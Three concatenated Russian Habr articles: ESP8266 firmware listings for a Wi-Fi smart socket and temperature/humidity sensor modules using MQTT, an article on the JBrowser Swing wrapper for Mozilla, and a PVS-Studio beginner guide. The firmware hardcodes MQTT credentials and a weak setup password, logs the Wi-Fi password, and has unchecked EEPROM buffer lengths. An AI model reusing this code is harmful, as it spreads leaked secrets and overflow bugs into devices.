ptr += "
";
ptr += "Local\_ip:
";
ptr += "";
ptr += "
";
ptr += "Gateway:
";
ptr += "";
ptr += "
";
ptr += "
";
ptr += "";
ptr += "";
ptr += "\n";
ptr += "\n";
return ptr;
}
String SendMenuHTML() {
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;} h3 {color: #444444;margin-bottom: 50px;}\n";
ptr += ".button {display: block;width: 80px;background-color: #1abc9c;border: none;color: white;padding: 13px 30px;text-decoration: none;font-size: 25px;margin: 0px auto 35px;cursor: pointer;border-radius: 4px;}\n";
ptr += ".button-on {background-color: #1abc9c;}\n";
ptr += ".button-on:active {background-color: #16a085;}\n";
ptr += ".button-off {background-color: #34495e;}\n";
ptr += ".button-off:active {background-color: #2c3e50;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "WIFI меню
=========
\n";
ptr += "### Выберете пункт меню:
\n";
ptr += "
";
ptr += "
";
ptr += "
";
ptr += "\n";
ptr += "\n";
return ptr;
}
String SendControlMenuHTML() {
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px; } h3 {color: #444444;margin-bottom: 50px;} h4 {color: #444444;margin-bottom: 20px;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "Панель управления
=================
\n";
ptr += "
";
if (rele) {
ptr += "
";
}
if (!rele) {
ptr += "
";
}
ptr += "### Датчики:
\n";
//ptr += "#### Датчики:
\n";
for (int i = 0 ; i < lng; i++) {
ptr += "#### " + names[i] + " : " + data[i] + " " + znach[i] + "
";
}
ptr += "";
ptr += "Название: ";
ptr += " ";
//ptr += "
";
ptr += "";
ptr += "";
ptr += "
";
ptr += "\n";
ptr += "\n";
return ptr;
}
String SendControlReleAutoHTML() {
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px; } h3 {color: #444444;margin-bottom: 50px;} h4 {color: #444444;margin-bottom: 20px;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "Настройка автоматического управления розетки
============================================
";
if (auto\_stat) {
ptr += "### Автоматическое управления включено
";
}
else {
ptr += "### Автоматическое управления выключено
";
}
ptr += "### Текущее условие:" + auto\_name + " ";
switch (auto\_oper) {
case 0 : ptr += "> ";
break;
case 1 : ptr += "< ";
break;
case 2 : ptr += "= ";
break;
}
if (auto\_mode)
ptr += String(auto\_data) + " выключать
";
else
ptr += String(auto\_data) + " включать ";
ptr += "### Выберете датчик и параметр для него:
\n";
ptr += "";
ptr += "";
for (int i = 0 ; i < lng; i++) {
ptr += "" + names[i] + "";
}
ptr += " ";
ptr += "";
ptr += ">";
ptr += "<";
ptr += "=";
ptr += " ";
ptr += " ";
ptr += "";
ptr += "";
ptr += "Включать";
ptr += "Выключать";
ptr += " ";
//ptr += "
";
ptr += "";
ptr += "";
ptr += "
";
if (auto\_stat) {
ptr += "
";
}
else {
ptr += "
";
}
ptr += "
";
ptr += "\n";
ptr += "\n";
return ptr;
}
```
Листинг программы для модуля - датчика DHT11
```
#include
#include
#include
#include
#include
#include "DHT.h"
#define DHTTYPE DHT11
uint8\_t DHTPin = 5;
int tempC = 0;
int humC = 0;
int tmi = 10;
DHT dht(DHTPin, DHTTYPE);
const char \*ssid\_ap = "Datchik\_Setup"; //имя точки доступа модуля
const char \*password\_ap = "12345678"; //пароль точки доступа модуля
const char \*ID = "temp\_1";
String ssid = ""; //имя wifi
String password = ""; //пароль wifi
String device\_id; // ID модуля
bool setup\_mode ; // true - первичная настройка модуля, false - основная работа модуля
const char \*mqtt\_server = "M5.WQTT.RU"; // Имя сервера MQTT
const int mqtt\_port = 2602; // Порт для подключения к серверу MQTT
const char \*mqtt\_user = "u\_RSELYN"; // Логин от серверa
const char \*mqtt\_pass = "bhbtIJue"; // Пароль от сервера
ESP8266WebServer server(80);// server для настройки
WiFiClient wclient;
PubSubClient client(wclient, mqtt\_server, mqtt\_port);
IPAddress local\_ip(192, 168, 1, 1);
IPAddress gateway(192, 168, 1, 1);
IPAddress subnet(255, 255, 255, 0);
void write\_string\_EEPROM (int Addr, String Str) {
byte lng = Str.length();
EEPROM.begin (256);
EEPROM.write(Addr , lng);
unsigned char\* buf = new unsigned char[15];
Str.getBytes(buf, lng + 1);
Addr++;
for (byte i = 0; i < lng; i++) {
EEPROM.write(Addr + i, buf[i]);
delay(10);
}
EEPROM.commit();
EEPROM.end();
}
char \*read\_string\_EEPROM (int Addr) {
EEPROM.begin(256);
byte lng = EEPROM.read(Addr);
char\* buf = new char[15];
Addr++;
for (byte i = 0; i < lng && i < 15; i++) buf[i] = char(EEPROM.read(i + Addr));
buf[lng] = '\x0';
EEPROM.end();
return buf;
}
void setup() {
pinMode(DHTPin, INPUT);
Serial.begin(115200);
EEPROM.begin(256);
setup\_mode = EEPROM.read(85);
EEPROM.end();
device\_id = read\_string\_EEPROM(40);
if (!setup\_mode) {
dht.begin();
tmi = String(read\_string\_EEPROM(200)).toInt();
local\_ip.fromString(String(read\_string\_EEPROM(200)));
gateway.fromString(String(read\_string\_EEPROM(220)));
Serial.println(read\_string\_EEPROM(0));
Serial.println(read\_string\_EEPROM(20));
WiFi.begin(read\_string\_EEPROM(0), read\_string\_EEPROM(20));
int sm = 0;
while (WiFi.status() != WL\_CONNECTED) {
delay(500); sm++;
Serial.print(".");
if (sm > 120) {
ReturnSetup();
}
}
Serial.println("WiFi connected");
tempC = (int)dht.readTemperature();
humC = (int)dht.readHumidity();
if (client.connect(MQTT::Connect(ID).set\_auth(mqtt\_user, mqtt\_pass))) {
Serial.println("Connected to MQTT server");
} else {
Serial.println("Could not connect to MQTT server");
}
client.publish("/datk", device\_id+"\_t" + "#" + String(tempC) + "#градусов#");
client.publish("/datk", device\_id+"\_hm" + "#" + String(humC) + "#влажности#");
delay(100);
ESP.deepSleep(tmi \* 1000000);
}
else {
delay(1000);
WiFi.softAP(ssid\_ap, password\_ap);
WiFi.softAPConfig(local\_ip, gateway, subnet);
delay(100);
server.on("/", handle\_OnConnect);
server.on("/end\_setup", handle\_EndSetup);
server.on("/action\_page", handleForm);
server.onNotFound(handle\_NotFound);
server.begin();
Serial.println("HTTP server started");
}
}
void loop() {
if (setup\_mode)
server.handleClient();
}
void handle\_OnConnect() {
server.send(200, "text/html", SendHTML());
}
void ReturnSetup() {
EEPROM.begin(256);
EEPROM.write(85, true);
setup\_mode = true;
EEPROM.commit();
EEPROM.end();
ESP.reset();
}
void handleForm() {
ssid = server.arg("WIFI\_NAME");
password = server.arg("WIFI\_password");
device\_id = server.arg("DEVICE\_ID");
tmi = server.arg("TIMING").toInt();
Serial.print("WIFI: ");
Serial.println(ssid);
Serial.print("password: ");
Serial.println(password);
server.send(200, "text/html", SendEndHTML()); //Send web page
}
void handle\_EndSetup() {
write\_string\_EEPROM(0, ssid);
write\_string\_EEPROM(20, password);
write\_string\_EEPROM(40, device\_id);
write\_string\_EEPROM(200, String(tmi));
EEPROM.begin(256);
EEPROM.write(85, false);
setup\_mode = false;
EEPROM.commit();
EEPROM.end();
WiFi.softAPdisconnect(true);
ESP.reset();
}
void handle\_NotFound() {
server.send(404, "text/plain", "Not found");
}
String SendEndHTML() {
String ptr = "\n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "[Вернуться к настройки
=====================](/)\n";
ptr += "[Продолжить
==========](/end_setup)\n";
ptr += "\n";
ptr += "\n";
return ptr;
}
String SendHTML() {
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;} h3 {color: #444444;margin-bottom: 50px;}\n";
ptr += ".button {display: block;width: 80px;background-color: #1abc9c;border: none;color: white;padding: 13px 30px;text-decoration: none;font-size: 25px;margin: 0px auto 35px;cursor: pointer;border-radius: 4px;}\n";
ptr += ".button-on {background-color: #1abc9c;}\n";
ptr += ".button-on:active {background-color: #16a085;}\n";
ptr += ".button-off {background-color: #34495e;}\n";
ptr += ".button-off:active {background-color: #2c3e50;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "Настройка WIFI
==============
\n";
ptr += "### Укажите название и пароль от нужной wifi сети
\n";
ptr += "";
ptr += "Название:
";
ptr += "";
ptr += "
";
ptr += "Пароль:
";
ptr += "";
ptr += "
";
ptr += "Тайминг отправки(в секундах):
";
ptr += "";
ptr += "
";
ptr += "Название модуля:
";
ptr += "
";
ptr += "
";
ptr += "";
ptr += "";
ptr += "\n";
ptr += "\n";
return ptr;
}
```
Листинг программы для модуля - датчика ds18b20
```
#include
#include
#include
#include
#include
#include
#include
#define ONE\_WIRE\_BUS 5
OneWire oneWire(ONE\_WIRE\_BUS);
DallasTemperature DS18B20(&oneWire);
char temperatureCString[7];
int tempC = 0;
int tmi = 10;
const char \*ssid\_ap = "Datchik\_Setup"; //имя точки доступа модуля
const char \*password\_ap = "12345678"; //пароль точки доступа модуля
const char \*ID = "temp\_1";
String ssid = ""; //имя wifi
String password = ""; //пароль wifi
String device\_id; // ID модуля
bool setup\_mode ; // true - первичная настройка модуля, false - основная работа модуля
const char \*mqtt\_server = "M5.WQTT.RU"; // Имя сервера MQTT
const int mqtt\_port = 2602; // Порт для подключения к серверу MQTT
const char \*mqtt\_user = "u\_RSELYN"; // Логин от серверa
const char \*mqtt\_pass = "bhbtIJue"; // Пароль от сервера
ESP8266WebServer server(80);// server для настройки
WiFiClient wclient;
PubSubClient client(wclient, mqtt\_server, mqtt\_port);
IPAddress local\_ip(192, 168, 1, 1);
IPAddress gateway(192, 168, 1, 1);
IPAddress subnet(255, 255, 255, 0);
void write\_string\_EEPROM (int Addr, String Str) {
byte lng = Str.length();
EEPROM.begin (256);
EEPROM.write(Addr , lng);
unsigned char\* buf = new unsigned char[15];
Str.getBytes(buf, lng + 1);
Addr++;
for (byte i = 0; i < lng; i++) {
EEPROM.write(Addr + i, buf[i]);
delay(10);
}
EEPROM.commit();
EEPROM.end();
}
char \*read\_string\_EEPROM (int Addr) {
EEPROM.begin(256);
byte lng = EEPROM.read(Addr);
char\* buf = new char[15];
Addr++;
for (byte i = 0; i < lng && i < 15; i++) buf[i] = char(EEPROM.read(i + Addr));
buf[lng] = '\x0';
EEPROM.end();
return buf;
}
void getTemperature()
{
do {
DS18B20.requestTemperatures();
tempC = DS18B20.getTempCByIndex(0);
dtostrf(tempC, 2, 2, temperatureCString);
delay(100);
} while (tempC == 85.0 || tempC == (-127.0));
}
void setup() {
Serial.begin(115200);
EEPROM.begin(256);
setup\_mode = EEPROM.read(85);
EEPROM.end();
device\_id = read\_string\_EEPROM(40);
if (!setup\_mode) {
tmi = String(read\_string\_EEPROM(200)).toInt();
local\_ip.fromString(String(read\_string\_EEPROM(200)));
gateway.fromString(String(read\_string\_EEPROM(220)));
DS18B20.begin();
Serial.println(read\_string\_EEPROM(0));
Serial.println(read\_string\_EEPROM(20));
WiFi.begin(read\_string\_EEPROM(0), read\_string\_EEPROM(20));
int sm = 0;
while (WiFi.status() != WL\_CONNECTED) {
delay(500); sm++;
Serial.print(".");
if (sm > 120) {
ReturnSetup();
}
}
getTemperature();
Serial.println("WiFi connected");
if (client.connect(MQTT::Connect(ID).set\_auth(mqtt\_user, mqtt\_pass))) {
Serial.println("Connected to MQTT server");
} else {
Serial.println("Could not connect to MQTT server");
}
client.publish("/datk", device\_id + "#" + String(tempC) + "#градусов#");
delay(100);
ESP.deepSleep(tmi \* 1000000);
}
else {
delay(1000);
WiFi.softAP(ssid\_ap, password\_ap);
WiFi.softAPConfig(local\_ip, gateway, subnet);
delay(100);
server.on("/", handle\_OnConnect);
server.on("/end\_setup", handle\_EndSetup);
server.on("/action\_page", handleForm);
server.onNotFound(handle\_NotFound);
server.begin();
Serial.println("HTTP server started");
}
}
void loop() {
if (setup\_mode)
server.handleClient();
}
void handle\_OnConnect() {
server.send(200, "text/html", SendHTML());
}
void ReturnSetup() {
EEPROM.begin(256);
EEPROM.write(85, true);
setup\_mode = true;
EEPROM.commit();
EEPROM.end();
ESP.reset();
}
void handleForm() {
ssid = server.arg("WIFI\_NAME");
password = server.arg("WIFI\_password");
device\_id = server.arg("DEVICE\_ID");
tmi = server.arg("TIMING").toInt();
Serial.print("WIFI: ");
Serial.println(ssid);
Serial.print("password: ");
Serial.println(password);
server.send(200, "text/html", SendEndHTML()); //Send web page
}
void handle\_EndSetup() {
write\_string\_EEPROM(0, ssid);
write\_string\_EEPROM(20, password);
write\_string\_EEPROM(40, device\_id);
write\_string\_EEPROM(200, String(tmi));
EEPROM.begin(256);
EEPROM.write(85, false);
setup\_mode = false;
EEPROM.commit();
EEPROM.end();
WiFi.softAPdisconnect(true);
ESP.reset();
}
void handle\_NotFound() {
server.send(404, "text/plain", "Not found");
}
String SendEndHTML() {
String ptr = "\n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "[Вернуться к настройки
=====================](/)\n";
ptr += "[Продолжить
==========](/end_setup)\n";
ptr += "\n";
ptr += "\n";
return ptr;
}
String SendHTML() {
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;} h3 {color: #444444;margin-bottom: 50px;}\n";
ptr += ".button {display: block;width: 80px;background-color: #1abc9c;border: none;color: white;padding: 13px 30px;text-decoration: none;font-size: 25px;margin: 0px auto 35px;cursor: pointer;border-radius: 4px;}\n";
ptr += ".button-on {background-color: #1abc9c;}\n";
ptr += ".button-on:active {background-color: #16a085;}\n";
ptr += ".button-off {background-color: #34495e;}\n";
ptr += ".button-off:active {background-color: #2c3e50;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "Настройка WIFI
==============
\n";
ptr += "### Укажите название и пароль от нужной wifi сети
\n";
ptr += "";
ptr += "Название:
";
ptr += "";
ptr += "
";
ptr += "Пароль:
";
ptr += "";
ptr += "
";
ptr += "Тайминг отправки(в секундах):
";
ptr += "";
ptr += "
";
ptr += "Название модуля:
";
ptr += "
";
ptr += "
";
ptr += "";
ptr += "";
ptr += "\n";
ptr += "\n";
return ptr;
}
```
Rozetka.f3d[yadi.sk](https://yadi.sk/d/U6wiUKXgppumHg)Datchik korpus DHT11.f3d[yadi.sk](https://yadi.sk/d/uxxEBXc5fmRDgw)Datchik korpus ds18b20.f3d[yadi.sk](https://yadi.sk/d/Ez0XOjpb9HxWig) | https://habr.com/ru/post/555830/ | null | ru | null |
# JBrowser: реинкарнация MozSwing
Вспомним, что же такое [MozSwing](http://sourceforge.net/projects/mozswing/). MozSwing — единственное адекватное (по моему мнению) бесплатное и кросс-платформенное решение для встраивания браузера как компонента swing. Но, как ни печально это признавать, проект умер еще на той стадии, когда в нем оставалось слишком много ошибок. Эти ошибки, а так же просчеты в архитектуре, не позволяют использовать это решение «как есть», для ваших проектов. С непреодолимым желанием исправить это, я взялся за работу и кое-что у меня получилось.
(Статья о интеграции браузера Mozilla, как Swing компонента).
**Почему плох MozSwing**
Нет-нет, не подумайте будто я считаю MozSwing полным отстоем, это громадная работа за которую нужно сказать огромное спасибо (моя работа в разы меньше), но все же меня не устраивает MozSwing и вот почему:
1. Поддержка [xulrunner](https://developer.mozilla.org/en/XULRunner)`а только версии 1.9 (который, к слову, не поддерживает русские буквы в пути для windows-систем), когда есть версия 1.9.2.
2. Огромное количество разрывающих мозг статических классов и методов, из-за чего MozSwing предстает перед нами нерушимой скалой. Для того, чтобы что-либо в нем изменить, приходится менять байт-код уже загруженных классов, потому что наследование в случае MozSwing не работает.
3. Невозможность явно переопределить [nsIWindowCreator](https://developer.mozilla.org/en/NsIWindowCreator) (класс, реализующий этот интерфейс, занимается созданием окон для браузера), из-за чего приходится выдумывать костыли для создания браузеров как вкладок, поскольку MozSwing предпочитает открывать новые странички в новых окнах. Вот, например, так я заменяю nsIWindowCreator после инициализации:
> `nsIWindowWatcher winWatcher = XPCOMUtils.getService("@mozilla.org/embedcomp/window-watcher;1", nsIWindowWatcher.class); //$NON-NLS-1$
>
> winWatcher.setWindowCreator(wndCreator);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Однако, потенциально здесь скрыта ошибка, поскольку MozSwing любит статические классы, методы, и внутри ссылается на свой nsIWindowCreator.
4. Некоторые, скажем так, очень сомнительные решения в коде (исходники MozSwing: на всякий случай создается пул в 3 окна, чтобы потом из этого пула взять окно для встройки в него браузера):
> `/\*\*
>
> \* When mozilla does a callback to createChromeWindow()
>
> \* we need to create a swing window. But doing this on
>
> \* Swing thread using invokeAndWait sometimes ends
>
> \* with deadlock in AWT.
>
> \* Therefore we keep a list of precreated windows
>
> \* in case we will need them.
>
> \*/
>
> private List precreatedWins = new LinkedList();
>
>
>
> public void ensurePrecreatedWindows() {
>
> ensurePrecreatedWindows(3);
>
> }
>
> public void ensurePrecreatedWindows(int winNum) {
>
> assert !isMozillaThread(); //has to be called from swing
>
>
>
> while (precreatedWins.size()
>
>
> if (winFactory==null) return;
>
> IMozillaWindow w = winFactory.create(false);
>
> if (!(w instanceof Component)) return;
>
>
>
> // w is instance of something we can work with
>
> precreatedWins.add(w);
>
> Component c = (Component)w;
>
> c.addNotify();
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Особенно пугает число три. Это как бы намекает нам на то, что трех окон в принципе должно хватить… Наверное...
5. Для включения поддержки контекстных команд (конеткстного меню), приходится менять некоторые методы MozSwing`a. Например:
> `@SuppressWarnings("deprecation")
>
> public static void replaceChromeAdapterMethod() {
>
> try {
>
> ClassPool classPool = ClassPool.getDefault();
>
> CtClass ctClass = classPool.get("org.mozilla.browser.impl.ChromeAdapter");
>
> CtMethod ctMethod = ctClass.getMethod("queryInterface", "(Ljava/lang/String;)Lorg/mozilla/interfaces/nsISupports;");
>
> ctMethod.setBody("{ return ru.redstonegroup.geo.gui.components.browser.impl.QueryInterfaceImpl.getInstance().queryInterface(this, $1); }");
>
> ctClass.toClass(QueryInterfaceImpl.class.getClassLoader());
>
> } catch (Throwable e) {
>
> logger.error(e.getMessage(), e);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
6. Постоянно роняет Sun JVM на некоторых linux системах (ubuntu, openSUSE).
7. Запутанность исходников (к слову, скорее это связанно с запутанностью самой технологии XPCOM).
8. Нет интеграции с maven.
9. Тяжело интегрировать с IoC контейнером.
10. Не возмжно создать окно без всяких рюшечек, их можно только спрятать.
**JBrowser**
Конечно, я не питаю иллюзий — мое решение не идеально: поскольку оно базируется на MozSwing`е, то и переняло множество его болячек. Если хотите, JBrowser это мое переосмысление MozSwing`а в значительной степени более подходящие для реальных систем. Ну, по крайней мере, мне мое API нравится в разы больше (хотя вам оно может совсем не понравиться).
Главной проблемой при знакомстве с MozSwing у меня было то, что в нем нет единой точки входа — создание браузера выполнялось как простое создание компонента (что-то вроде new MozillaWindow, простите, уже точно не вспомню). Да, это в каком-то смысле удобно, пока вам не нужно нечто большее, чем создание просто окна браузера, но как сконфигурировать создаваемый браузер? Один из вариантов — наследоваться от MozSwing-компонентов, лезть внутрь и копать-копать-копать…
Сходу мне было не понятно: как изменить параметры прокси-сервера для браузера? Через некоторое время выяснилось, что есть соответствующий класс MozillaConfig со статическим методом setProxy (или как-то так). О, боже мой, я бы это никогда не узнал, если бы не открыл исходники. В общем, для меня это все не очевидно.
Поэтому JBrowser это некая противоположность (на данный момент не полная) MozSwing в смысле дизайна. В JBrowser есть точка входа — интерфейс [BrowserManager](http://code.google.com/p/jbrowser/source/browse/trunk/src/main/java/ru/atomation/jbrowser/interfaces/BrowserManager.java). Это самый верхний уровень интеграции xulrunner`а и swing`а. Класс реализующий интерфейс выполняет всю инициализацию, так сказать подготавливает почву для дальнейшей работы. Помимо инициализации, реализующий класс обязан предоставить вам по первому требованию некую реализацию интерфейса [BrowserConfig](http://code.google.com/p/jbrowser/source/browse/trunk/src/main/java/ru/atomation/jbrowser/interfaces/BrowserConfig.java), который позволяет регулировать политику работы всех браузеров (включать/отключать картинки, прокси и др.) Как раз то, что я хотел.
В противоположность верхнему уровню интеграции в JBrowser присутствует самый нижний уровень интеграции — так называемый «компонент-браузер». Любой компонент-браузер реализует интерфейс [JBrowserComponent](http://code.google.com/p/jbrowser/source/browse/trunk/src/main/java/ru/atomation/jbrowser/impl/JBrowserComponent.java). Это интерфейс представляет собой композит, совмещающий в себе функционал Swing компонента и реализует интерфейс [браузера](http://code.google.com/p/jbrowser/source/browse/trunk/src/main/java/ru/atomation/jbrowser/interfaces/Browser.java).
> `/\*\*
>
> \* Браузер встроенный в компонент Swing // Browser embedded in swing component
>
> \* @author caiiiycuk
>
> \*/
>
> public interface JBrowserComponent extends DisplayableComponent, Browser, NativeBrowser {
>
> /\*\*
>
> \* @return See {@link java.awt.Component}
>
> \*/
>
> T getComponent();
>
> ...
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Есть [JBrowserCanvas](http://code.google.com/p/jbrowser/source/browse/trunk/src/main/java/ru/atomation/jbrowser/impl/JBrowserCanvas.java) — базовая реализация этого интерфейса. Это не что иное, как Swing-компонент Canvas c встроенным в него браузером. Другие реализации компонента-браузера почти всегда оборачивают JBrowserCanvas (делегируют вызовы к нему). Например, так делает другой компонент-браузер [JBrowserFrame](http://code.google.com/p/jbrowser/source/browse/trunk/src/main/java/ru/atomation/jbrowser/impl/JBrowserFrame.java) (браузер и JFrame).
Между этими двумя противоположностями существует еще одно звено, которое объединяет все в единое целое — это factory-слой (фактори-слой). После создания верхнего слоя интеграции на основе BrowserManager могут быть созданы многочисленные фактори компонентов-браузеров, реализующие интерфейс [ComponentFactory](http://code.google.com/p/jbrowser/source/browse/trunk/src/main/java/ru/atomation/jbrowser/interfaces/ComponentFacotry.java). Нормально, когда приложение содержит несколько таких фактори. Правильно настроенная фактори посредством своих методов создает конкретные реализации компонентов-браузеров. Допустим, я использую в своем приложении следующие фактори: JFrameBrowserFactory (создает браузер как новое окно), JTabbedBrowserFactory (создает браузер как новую вкладку). Благодаря этой схеме становится возможным легко решить проблему кастомизации создаваемых вами компонентов-браузеров.
Таким образом, вот вся цепочка работы с JBrowser: создать BrowserManager (кстати, для этого можно/нужно использовать [билдер](http://code.google.com/p/jbrowser/source/browse/trunk/src/main/java/ru/atomation/jbrowser/impl/JBrowserBuilder.java)), создать хотя бы одну фактори для ваших комопонентов-браузеров и наконец, создать браузер с помощью фактори. Вот так выглядит самый простой вариант работы с JBrowser:
> `public class GettingStartedSnippet {
>
>
>
> public static void main(String[] args) {
>
> Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
>
>
>
> JFrame frame = new JFrame();
>
> frame.setDefaultCloseOperation(JFrame.EXIT\_ON\_CLOSE);
>
> frame.setSize((int) (screenSize.getWidth() \* 0.75f),
>
> (int) (screenSize.getHeight() \* 0.75f));
>
> frame.setLocationRelativeTo(null);
>
>
>
> BrowserManager browserManager =
>
> new JBrowserBuilder().buildBrowserManager();
>
>
>
> JComponentFactory canvasFactory = browserManager.getComponentFactory(JBrowserCanvas.class);
>
> JBrowserComponent browser = canvasFactory.createBrowser();
>
>
>
> frame.getContentPane().add(browser.getComponent());
>
> frame.setVisible(true);
>
>
>
> browser.setUrl("http://code.google.com/p/jbrowser/");
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Почему фактори? Я считаю (может, я и не прав), что это очень удобно. Я, например, регистрирую свои фактори в IoC-контейнере и легко могу получить к ним доступ практически из любой части приложения, поэтому я могу хоть в самой последней менюшке сделать кнопку, создающую мне новую вкладку-браузер.
Плюс этой архитектуры в том, что вы можете переписать любой из этих трех уровней, и получить по-прежнему эффективно работающею систему.
**Фичи, которых не было в MozSwing**
Помимо полной переработки интерфейсов, добавились еще вот какие фичи:
* Стало возможным легко получить favIcon открытой страницы (browser.getFavIcon()).
* Стало возможным легко встроить контекстное меню.
* Полная интеграция с maven. В связи с этим JBrowser легко подключить и легко собрать под вашу целевую систему (поменяв профиль в pom.xml). На данный момент поддерживается все то, что поддерживал MozSwing — win, linux, solaris, mac.
Ссылки проекта:
Проект [JBrowser (stable)](http://code.google.com/p/jbrowser/)
Проект [c множеством примеров (dev)](http://code.google.com/p/jbrowser-snippets/)
Как быстро начать работать с [JBrowser под Eclipse](http://code.google.com/p/jbrowser-snippets/wiki/WikiGettingStartedEclipse)
**Чего не удалось добиться**
К сожалению пока Xulrunner 1.9.2 не поддерживается, однако задел есть, и свет в конце туннеля виден.
**JWebPane**
Надеюсь, он выйдет уже когда-нибудь и спасет мир. Очень жду этот проект. | https://habr.com/ru/post/91884/ | null | ru | null |
# Getting Started with the PVS-Studio Static Analyzer for Visual C++
In this article, I'm going to tell you about PVS-Studio, an analyzer for C and C++ code, and show you how to use it in the Visual C++ environment. This guide is specifically intended for beginner users.
Installing the analyzer
-----------------------
PVS-Studio supports Microsoft Visual Studio 2019, 2017, 2015, 2013, 2012, and 2010. See the [documentation](https://www.viva64.com/en/m/0018/) for the system requirements. Currently, PVS-Studio can analyze projects written in C, C++, C#, and Java. However, this article focuses on programmers who work in Visual C++ and are looking for help to get started with the analyzer.
The installation package can be downloaded [here](https://www.viva64.com/en/pvs-studio-download/). After running it, you'll be offered a number of integration options (Figure 1) to choose from. Unavailable options are greyed out.
*Figure 1. Integration components selection window.*
After you have installed PVS-Studio, open the About window of Visual Studio and make sure the analyzer is present among installed products.
Checking a project
------------------
Once the installation is complete, you can go on to check your project. You can also try analyzing the entire solution. To do that, click Extensions → PVS-Studio → Check → Solution (Figure 2).
*Figure 2. Checking a solution with PVS-Studio.*
If you have any difficulties running the check, see the "[PVS-Studio: Troubleshooting](https://www.viva64.com/en/m/0029/)" section on our website. Those are not some dumb hints like «make sure the plug is plugged into the outlet». The section describes typical issues that our users have reported and ways to solve them.
Handling the warnings list
--------------------------
Once the check is complete, the diagnostic messages will appear in a special window. This window has a lot of elements, which all serve to manipulate the list so that you can view only the warnings of interest. At first, however, it might look somewhat complicated.
*Figure 3. Warnings window. Click on the image to enlarge.*
The complete overview of the window's elements can be found in the [documentation](https://www.viva64.com/en/m/0021/), but now we'll focus only on the basic ones:
1. Warnings' certainty levels. The screenshot above shows the medium and high levels enabled. The low level deals more with «Code Smells» and warnings that, unfortunately, tend to produce too many false positives. Why are there so many low- and medium-level warnings but so few high-level ones? The answer is that the MISRA diagnostics have been enabled, which contain rules such as «the function should have only a single exit point». Of course, you normally don't need these diagnostics, so they are disabled by default. Note: "[How to quickly check out interesting warnings given by the PVS-Studio analyzer for C and C++ code?](https://www.viva64.com/en/b/0633/)".
2. The filter. You can filter the messages by code, CWE, text, project, or file.
3. The number of the triggering line. Some diagnostics can refer to a number of lines: such warnings have an ellipsis next to the line number.
SAST
----
PVS-Studio is a tool for static application security testing (SAST), which means it can detect potential vulnerabilities in source code and show the corresponding weakness identifier according to a particular classification.
PVS-Studio supports the following weakness classifications:
1. CWE
2. SEI CERT
3. MISRA
To enable CWE codes, open the analyzer window's drop-down menu and then tick Show Columns > CWE
*Figure 4. Enabling CWE codes from the drop-down menu.*
Another way to do that is Extensions > PVS-Studio > Display CWE Codes in Output Window on Visual Studio's menu bar
*Figure 5. PVS-Studio submenu in the Extensions menu.*
Unlike that, MISRA diagnostics are enabled in the options window:
*Figure 6. List of detectable weaknesses.*
You can learn more about these classifications [here](https://www.viva64.com/en/sast/).
Checking projects from the command line
---------------------------------------
PVS-Studio\_Cmd.exe is a utility to check C++ .vcxproj projects and solutions from the command line. It can be useful if you want to automate the analysis process. The program can be found in the installation directory, which is 'C:\Program Files (x86)\PVS-Studio' by default.
The utility has multiple [parameters](https://www.viva64.com/en/m/0035/), but you'll need only three to get started:* --target: the file of the project or solution to be checked.
* --output: the plog file to store the analysis report to.
* --progress: track the analysis progress.
This is what you will see after starting the check:
*Figure 7. Output of the PVS-Studio\_Cmd.exe utility*
Once the check is finished, a plog file containing the analysis report will be created in the directory specified in the start parameters. This report can be converted into other formats using the PlogConverter.exe utility, and if you want to open the report in the IDE, simply double-click on the plog file in the Windows Explorer.
The report file can also be opened from the Extensions menu: Extensions > PVS-Studio > Open/Save > Open Analysis Report…
*Figure 8. Opening an analysis report from the plugin's menu.*
